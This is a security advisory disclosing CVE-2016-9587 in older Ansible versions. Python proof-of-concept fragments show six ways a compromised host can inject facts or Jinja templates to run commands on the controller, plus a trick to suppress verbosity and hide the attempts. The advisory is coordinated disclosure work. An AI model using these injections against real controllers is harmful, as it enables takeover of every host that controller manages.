Ansible 2.1.4 / 2.2.1 - Command Execution

###########  Computest security advisory CT-2017-0109 #############



            Summary: Command execution on Ansible controller from host

  Affected software: Ansible

	        CVE: CVE-2016-9587

      Reference URL: https://www.computest.nl/advisories/

                     CT-2017-0109_Ansible.txt

  Affected versions: < 2.1.4, < 2.2.1



             Credit: Undisclosed at Computest (research@computest.nl)

Date of publication: January 9, 2017



During a summary code review of Ansible, Computest found and exploited several

issues that allow a compromised host to execute commands on the Ansible

controller and thus gain access to the other hosts controlled by that

controller. 



This was not a full audit and further issues may or may not be present.



About Ansible

-------------

"Ansible is an open-source automation engine that automates cloud provisioning,

configuration management, and application deployment. Once installed on a

control node, Ansible, which is an agentless architecture, connects to a managed

node through the default OpenSSH connection type."

							- wikipedia.org

													

Technical Background

--------------------

A big threat to a configuration management system like Ansible, Puppet, Salt

Stack and others, is compromise of the central node. In Ansible terms this is

called the Controller. If the Controller is compromised, an attacker has

unfettered access to all hosts that are controlled by the Controller. As such,

in any deployment, the central node receives extra attention in terms of

security measures and isolation, and threats to this node are taken even more

seriously.



Fortunately for team blue, in the case of Ansible the attack surface of the

Controller is pretty small. Since Ansible is agent-less and based on push, the

Controller does not expose any services to hosts. 



A very interesting bit of attack surface though is in the Facts. When Ansible

runs on a host, a JSON object with Facts is returned to the Controller. The

Controller uses these facts for various housekeeping purposes. Some facts have

special meaning, like the fact "ansible_python_interpreter" and

"ansible_connection". The former defines the command to be run when Ansible is

looking for the python interpreter, and the second determines the host Ansible

is running against. If an attacker is able to control the first fact he can

execute an arbitrary command, and if he is able to control the second fact he is

able to execute on an arbitrary (Ansible-controlled) host. This can be set to

"local" to execute on the Controller itself.



Because of this scenario, Ansible filters out certain facts when reading the

facts that a host returns. However, we have found 6 ways to bypass this filter.



In the scenarios below, we will use the following variables:



PAYLOAD = "touch /tmp/foobarbaz"



# Define some ways to execute our payload.

LOOKUP = "lookup('pipe', '%s')" % PAYLOAD

INTERPRETER_FACTS = {

	# Note that it echoes an empty dictionary {} (it's not a format string).

	'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,

	'ansible_connection': 'local',

	# Become is usually enabled on the remote host, but on the Ansible

	# controller it's likely password protected. Disable it to prevent

	# password prompts.

	'ansible_become': False,

}

 

Bypass #1: Adding a host

------------------------

Ansible allows modules to add hosts or update the inventory. This can be very

useful, for instance when the inventory needs to be retrieved from a IaaS

platform like as the AWS module does. 



If we're lucky, we can guess the inventory_hostname, in which case the host_vars

are overwritten [2] and they will be in effect at the next task. If host_name

doesn't match inventory_hostname, it might get executed in the play for the next

hostgroup, also depending on the limits set on the commandline.



# (Note that when data["add_host"] is set,

# data["ansible_facts"] is ignored.)

data['add_host'] = {

    # assume that host_name is the same as inventory_hostname

    'host_name': socket.gethostname(),

    'host_vars': INTERPRETER_FACTS,

}



# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447

# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580

		

Bypass #2: Conditionals

-----------------------

Ansible actions allow for conditionals. If we know the exact contents of a

"when" clause, and we register it as a fact, a special case checks whether the

"when" clause matches a variable [1]. In that case it replaces it with its

contents and evaluates [2] them.



# Known conditionals, separated by newlines

known_conditionals_str = """

ansible_os_family == 'Debian'

ansible_os_family == "Debian"

ansible_os_family == 'RedHat'

ansible_os_family == "RedHat"

ansible_distribution == "CentOS"

result|failed

item > 5

foo is defined

"""

known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]

for known_conditional in known_conditionals:

    data['ansible_facts'][known_conditional] = LOOKUP

	

[1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118

[2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125

		

Bypass #3: Template injection in stat module

--------------------------------------------

The template module/action merges its results with those of the stat module.

This allows us to bypass [1][2][3] the stripping of magic variables from

ansible_facts [4], because they're at an unexpected location in the result tree.



data.update({

    'stat': {

        'exists': True,

        'isdir': False,

        'checksum': {

            'rc': 0,

            'ansible_facts': INTERPRETER_FACTS,

        },

    }

})



# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39

# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49

# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146

# [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678



Bypass #4: Template injection by changing jinja syntax

------------------------------------------------------

Remote facts always get quoted. Set_fact unquotes them by evaluating them.

UnsafeProxy was designed to defend against unquoting by transforming jinja

syntax into jinja comments, effectively disabling injection.



Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The

{{}} is needed to make it look like a variable [3].  This works against:

- set_fact: foo="{{ansible_os_family}}"

- command: echo "{{foo}}



data['ansible_facts'].update({

    'exploit_set_fact': True,

    'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD  + "')]]",

})



# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66

# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469

# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308





Bypass #5: Template injection in dict keys

------------------------------------------

Strings and lists are properly cleaned up, but dictionary keys are not [1]. This

works against:

- set_fact: foo="some prefix {{ansible_os_family}} and/or suffix"

- command: echo "{{foo}}



The prefix and/or suffix are needed in order to turn the

dict into a string, otherwise the value would remain a dict.



data['ansible_facts'].update({

    'exploit_set_fact': True,

    'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},

})



# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104

		



Bypass #6: Template injection using safe_eval

---------------------------------------------

There's a special case for evaluating strings that look like a list or dict [1].

Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows

us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to

re-create a bit of Jinja template that is interpreted.



This works against:

- set_fact: foo="{{ansible_os_family}}"

- command: echo "{{foo}}



data['ansible_facts'].update({

    'exploit_set_fact': True,

    'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,

})



# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334

# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py

# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229



Issue: Disabling verbosity

--------------------------

Verbosity can be set on the controller to get more debugging information. This

verbosity is controlled through a custom fact. A host however can overwrite this

fact and set the verbosity level to 0, hiding exploitation attempts.



data['_ansible_verbose_override'] = 0



# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99

# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208

		



Issue: Overwriting files

------------------------

Roles usually contain custom facts that are defined in defaults/main.yml,

intending to be overwritten by the inventory (with group and host vars). These

facts can be overwritten by the remote host, due to the variable precedence [1].

Some of these facts may be used to specify the location of a file that will be

copied to the remote host. The attacker may change it to /etc/passwd. The

opposite is also true, he may be able to overwrite files on the Controller. One

example is the usage of a password lookup with where the filename contains a

variable [2].



[1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable

[2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup



Mitigation

----------

Computest is not aware of mitigations short of installing fixed versions of the

software.



Resolution

----------

Ansible has released new versions that fix the vulnerabilities described in

this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch.



Conclusion

----------

The handling of Facts in Ansible suffers from too many special cases that allow

for the bypassing of filtering. We found these issues in just hours of code

review, which can be interpreted as a sign of very poor security. However, we

don't believe this is the case.



The attack surface of the Controller is very small, as it consists mainly of the

Facts. We believe that it is very well possible to solve the filtering and

quoting of Facts in a sound way, and that when this has been done, the

opportunity for attack in this threat model is very small. 



Furthermore, the Ansible security team has been understanding and professional

in their communication around this issue, which is a good sign for the handling

of future issues.



Timeline

--------

2016-12-08	First contact with Ansible security team

2016-12-09	First contact with Redhat security team (secalert@redhat.com)

2016-12-09	Submitted PoC and description to security@ansible.com

2016-12-13	Ansible confirms issue and severity

2016-12-15	Ansible informs us of intent to disclose after holidays

2017-01-05	Ansible informs us of disclosure date and fix versions

2017-01-09	Ansible issues fixed version